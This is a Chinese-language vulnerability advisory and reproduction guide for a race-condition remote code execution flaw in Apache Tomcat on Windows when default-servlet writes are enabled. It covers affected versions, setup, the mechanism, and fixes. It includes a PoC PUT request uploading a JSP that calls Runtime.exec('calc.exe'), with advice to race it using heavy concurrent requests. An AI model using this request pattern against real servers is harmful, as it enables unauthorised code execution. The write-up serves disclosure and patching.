漏洞介绍

Apache Tomcat 中 JSP 编译期间的使用时间 (TOCTOU) 争用条件漏洞允许在启用默认 servlet 写入(非默认配置)时对不区分大小写的文件系统进行 RCE。当默认 Servlet 的 readonly 参数被设置为 false(非默认配置)并允许使用 PUT 方法上传文件时,攻击者能够上传包含恶意 JSP 代码的文件并通过条件竞争不断发送请求,触发 Tomcat 对其解析和执行,最终实现远程代码执行

影响范围

Windows 环境

Apache Tomcat 11.0.0-M1 to 11.0.1Apache Tomcat 10.1.0-M1 to 10.1.33Apache Tomcat 9.0.0.M1 to 9.0.97

漏洞复现

环境下载

https://archive.apache.org/dist/tomcat/tomcat-9/

v9.0.97

修改conf/web.xml

 <!-- 设置 readonly 为 false,允许资源被写入或修改 -->        <init-param>            <param-name>readonly</param-name>            <param-value>false</param-value>        </init-param>

原理

  • Tomcat 的编译与加载过程出现 Race Condition:

  • JSP 文件被写入时触发编译。

  • 在文件被完全编译成.class文件并删除前的时间窗口内,某些访问可能会跳过完整检查,触发恶意代码执行。

  • 在 Windows 系统中,由于文件名不区分大小写(aa.Jspaa.jsp被视为同一个文件),当文件写入和访问同时发生时,会导致:

  • 1. JSP 文件被写入时触发编译

  • 2. 在文件被完全编译成.class文件并删除前的时间窗口内,某些访问可能会跳过完整检查,触发恶意代码执行。

POC

PUT /aa.Jsp HTTP/1.1Host: 127.0.0.1:8080Content-Type: application/json
aa<% Runtime.getRuntime().exec("calc.exe");%>

这里上传aa.Jsp bb.Jsp 文件,访问 aa.jsp  bb.jsp

(复现的时候可先并发get访问aa.jsp  bb.jsp 再同时上传aa.Jsp  bb.Jsp,并发设置10000即可,容易卡死)

修复意见

  1. 升级tomcat版本

  2. 禁用文件写入功能

<init-param>  <param-name>readonly</param-name>  <param-value>true</param-value></init-param>

参考链接

https://lists.apache.org/thread/y6lj6q1xnp822g6ro70tn19sgtjmr80r

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。